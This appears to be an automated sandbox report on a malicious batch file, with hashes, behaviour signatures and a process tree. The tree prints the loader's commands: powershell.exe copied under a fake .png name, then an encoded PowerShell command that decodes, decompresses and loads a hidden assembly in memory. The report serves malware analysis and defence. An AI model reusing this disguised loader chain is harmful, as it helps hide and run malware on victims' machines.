b526ee0de0fac93563730dfd03d7c647f658db2ef54b327a2c8f85e7fab04755

Analysis

max time kernel
117s
max time network
125s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
10-10-2023 13:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660.bat
Size

1013KB
MD5

356726c6ef766005db80ef2f8c0ace6f
SHA1

78aefea292bf9397cc4d4987af6f700da8bfafd2
SHA256

ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660
SHA512

75182a0f3c20c4541be7de7df84f1683064c2ed6b8f134e9d3bc8f717ba9d96632fccdd76c243c70ab9ab42c9e327d6a3b12eb712f902117007270d0b1b23548
SSDEEP

24576:Vf4Q9sdKUubPFgGuaD13/2pLe/jWw0tyKTo6W:BTbPbEaMEKPW

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2144	Pkvdtkqtj.png

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2144	Pkvdtkqtj.png

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2144	Pkvdtkqtj.png

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	Pkvdtkqtj.png

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 2688	2584	cmd.exe	28
PID 2584 wrote to memory of 2688	2584	cmd.exe	28
PID 2584 wrote to memory of 2688	2584	cmd.exe	28
PID 2584 wrote to memory of 2700	2584	cmd.exe	29
PID 2584 wrote to memory of 2700	2584	cmd.exe	29
PID 2584 wrote to memory of 2700	2584	cmd.exe	29
PID 2584 wrote to memory of 2384	2584	cmd.exe	30
PID 2584 wrote to memory of 2384	2584	cmd.exe	30
PID 2584 wrote to memory of 2384	2584	cmd.exe	30
PID 2384 wrote to memory of 2640	2384	cmd.exe	32
PID 2384 wrote to memory of 2640	2384	cmd.exe	32
PID 2384 wrote to memory of 2640	2384	cmd.exe	32
PID 2384 wrote to memory of 2452	2384	cmd.exe	33
PID 2384 wrote to memory of 2452	2384	cmd.exe	33
PID 2384 wrote to memory of 2452	2384	cmd.exe	33
PID 2384 wrote to memory of 2984	2384	cmd.exe	35
PID 2384 wrote to memory of 2984	2384	cmd.exe	35
PID 2384 wrote to memory of 2984	2384	cmd.exe	35
PID 2384 wrote to memory of 2612	2384	cmd.exe	34
PID 2384 wrote to memory of 2612	2384	cmd.exe	34
PID 2384 wrote to memory of 2612	2384	cmd.exe	34
PID 2384 wrote to memory of 2144	2384	cmd.exe	36
PID 2384 wrote to memory of 2144	2384	cmd.exe	36
PID 2384 wrote to memory of 2144	2384	cmd.exe	36
PID 2384 wrote to memory of 2144	2384	cmd.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:2688
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png
  2⤵
  PID:2700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2640
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png
    3⤵
    PID:2452
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\ff53a80edbe3f726f55d17b3671723ff1a2062b17b30beae33bdb4f173733660.bat C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png.bat
    3⤵
    PID:2612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2984
- - C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png
    C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png -win 1 -enc JABNAGgAcQBhAHMAagAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABMAGkAbgBlAHMAKAAoACgAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAIgAuAGIAYQB0ACIAKQAsACAAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBsAGEAcwB0ACAAMQA7ACAAJABHAHcAbQBmAHQAcwBvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBoAHEAYQBzAGoAKQA7ACQASgBvAHAAcgB5AHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEcAdwBtAGYAdABzAG8AcgAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABGAGgAaQBwAG8AcAB1ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAEoAbwBwAHIAeQByACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABGAGgAaQBwAG8AcAB1AC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABGAGgAaQBwAG8AcAB1AC4AQwBsAG8AcwBlACgAKQA7ACQASgBvAHAAcgB5AHIALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABHAHcAbQBmAHQAcwBvAHIAIAA9ACAAJABvAHUAdABwAHUAdAAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQARwB3AG0AZgB0AHMAbwByACkAOwAgACQAUABxAGQAawBpAHYAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABHAHcAbQBmAHQAcwBvAHIAKQA7ACAAJABEAGMAdABjAG0AIAA9ACAAJABQAHEAZABrAGkAdgBzAC4ARwBlAHQARQB4AHAAbwByAHQAZQBkAFQAeQBwAGUAcwAoACkAWwAwAF0AOwAgACQATQB5AGIAbgBwAHQAIAA9ACAAJABEAGMAdABjAG0ALgBHAGUAdABNAGUAdABoAG8AZABzACgAKQBbADAAXQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Pkvdtkqtj.png

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2144-8-0x0000000074760000-0x0000000074D0B000-memory.dmp

Filesize
5.7MB

Download
memory/2144-9-0x0000000074760000-0x0000000074D0B000-memory.dmp

Filesize
5.7MB

Download
memory/2144-10-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2144-11-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2144-12-0x0000000074760000-0x0000000074D0B000-memory.dmp

Filesize
5.7MB

Download
memory/2144-13-0x0000000074760000-0x0000000074D0B000-memory.dmp

Filesize
5.7MB

Download
memory/2144-14-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2144-15-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2144-16-0x0000000002430000-0x0000000002470000-memory.dmp

Filesize
256KB

Download
memory/2144-17-0x0000000074760000-0x0000000074D0B000-memory.dmp

Filesize
5.7MB

Download